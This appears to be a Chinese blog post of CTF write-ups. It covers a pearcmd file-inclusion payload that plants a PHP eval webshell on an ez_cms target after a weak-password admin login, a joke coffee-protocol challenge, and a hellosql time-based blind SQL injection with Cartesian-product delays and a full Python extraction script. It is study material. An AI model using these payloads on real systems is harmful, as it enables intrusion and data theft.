CTF比赛复现(我愿称之为狱后改造)

发布时间 2023-07-27 16:00:06作者: Solitude0c

CTF比赛复现(我愿称之为狱后改造)

DASCTF 2023 & 0X401七月暑期挑战赛

ez_cms

后台文件包含漏洞,弱口令密码登入后台

admin 123456

pearcmd文件包含漏洞

W4师傅的关于利用pearcmd进行文件包含的一些总结

p神

pecl是PHP中用于管理扩展而使用的命令行工具,而pear是pecl依赖的类库。在7.3及以前,pecl/pear是默认安装的;

在7.4及以后,需要我们在编译PHP的时候指定--with-pear才会安装。

不过,在Docker任意版本镜像中,pcel/pear都会被默认安装,安装的路径在/usr/local/lib/php。

要利用这个pearcmd.php需要满足几个条件

  • 要开启register_argc_argv这个选项在Docker中使自动开启的
  • 要有文件包含的利用

pearcmd的一些命令:

接下来说一下本题:

poc:

+config-create+/&r=../../../../../../../../../../usr/share/php/pearcmd&/<?=eval($_POST[cmd]);?>+../../../../../../../../tmp/1.php

注意:这里最好用Burp Suite发送数据,在浏览器中<>会自动url转码成%3C%3,导致文件包含该php文件时不能识别php代码而失败

最后蚁剑连接,根目录找到flag

http://b5d32940-d9de-4370-b5f3-092c61c86e0d.node4.buuoj.cn//admin/index.php?r=../../../../../../../../tmp/1

W4师傅和p神的文章还有扩展,待我细细研究

Coffee desu!

改为POST请求,给了几种方法

Coffee_burp1

Coffee_burp2

搜索上面的爆错

https://datatracker.ietf.org/doc/html/rfc2324

Coffee_document2

Coffee_document

就加一个请求头

Accept-Additions: milktea

Coffee_BREW

添加后GET访问即可

Coffee_GET

巅峰极客2023


hellosql

这里先搞懂笛卡尔积延时注入

使用

SELECT * from database.tableA,database.tableB

就会对tableA,tableB进行笛卡尔运算(对笛卡尔表示尊重)

tableA:

id user
1 a
2 b

tableB:

uid name
3 c
4 d

笛卡尔运算的结果:

id user uid name
1 a 3 c
1 a 4 d
2 b 3 c
2 b 4 d

实际测试发现使用information_schema.columns不稳定,因为对于不同的数据库,columns的数量是不同的,太少起不了延时效果,太多可能会导致数据库崩溃。
使用character_sets(41行)和collations(222行)效果可能会好点,因为数据量相对计较统一。

mysql> SELECT count(*) FROM information_schema.plugins ,information_schema.plugins A,information_schema.collations ,information_schema.collations B;
+----------+
| count(*) |
+----------+
| 95413824 |
+----------+
1 row in set (4.58 sec)

同名表后面跟着的A,B是别名,不然选取同一个表会报错

mysql> SELECT * from information_schema.plugins,information_schema.plugins;
ERROR 1066 (42000): Not unique table/alias: 'plugins'

回到本题,过滤了常见的延时函数f、sleep、benchmark、*、rpad、count,get_lock没有被过滤,但是貌似不大行

过滤了if可以考虑用case when condition then 1 else 0 end代替,然后测试注入点发现为单引号闭合存在延时。

还有一种绕过if过滤的方法

1' and 判断字符语句 and 笛卡尔积延时#"

这个的原理是and短路。因为and需要两边都为true,才能为true。比如说 条件1 and 条件2,如果条件1为true才会去判断条件2,但是如果条件1为false,就不会再去判断条件2了,and直接返回false。

大佬的盲注语句:

时间盲注,用笛卡尔积

/index.php?id=1'or+elt(1>2,(SELECT+group_concat('1')+FROM+information_schema.columns+A,+information_schema.columns+B))+or'2

/index.php?id=1'or+elt(3>2,(SELECT+group_concat('1')+FROM+information_schema.columns+A,+information_schema.columns+B))+or'2

延时还是笛卡尔积,但是if用elt代替了(好好好,又学一个函数)

ELT()函数是分值函数,功能有点类似很多编程语言中的switch关键字。

语法:
ELT(N,str1,str2,str3,…)

其中N是要判断的数值,如果N=1,则返回str1,如果N=2,则返回str2,以此类推。

另外对不上的值返回Null,比如N=0,或者N大于后面列表的长度。

只能说大佬牛,膜拜

最后又一个大佬的脚本

import time

import requests
from datetime import datetime

url = "http://web-1939c1eb66.challenge.xctf.org.cn/index.php"

result = ""
for i in range(1,100):
    head = 32
    tail = 126
    while head < tail:
        mid = (head + tail) >> 1
        #查数据库 ctf
        param = {
            "id": f"1' and ascii(substr(database(),{i},1))>{mid} and (select sum(0) from information_schema.columns A,information_schema.columns B)#"
        }
        #查表
        param = {
            "id": f"1' and ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='ctf')),{i},1))>{mid} and (select sum(0) from information_schema.columns A,information_schema.columns B)#"
        }
        #查列  Flagg
        param = {
            "id": f"1' and ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='Flllag')),{i},1))>{mid} and (select sum(0) from information_schema.columns A,information_schema.columns B)#"
        }
        #Flagg 查数据
        param = {
            "id": f"1' and ascii(substr((select(group_concat(concat_ws(0x7e,Flagg)))from(ctf.Flllag)),{i},1))>{mid} and (select sum(0) from information_schema.columns A,information_schema.columns B)#"
        }
        start = int(datetime.now().timestamp() * 1000)
        resp = requests.get(url, params=param)
        # print(resp.text)
        end = int(datetime.now().timestamp() * 1000)
        if end - start > 300:
            head = mid + 1
        else:
            tail = mid
    if head != 32:
        result += chr(head)
    else:
        break
    print(result)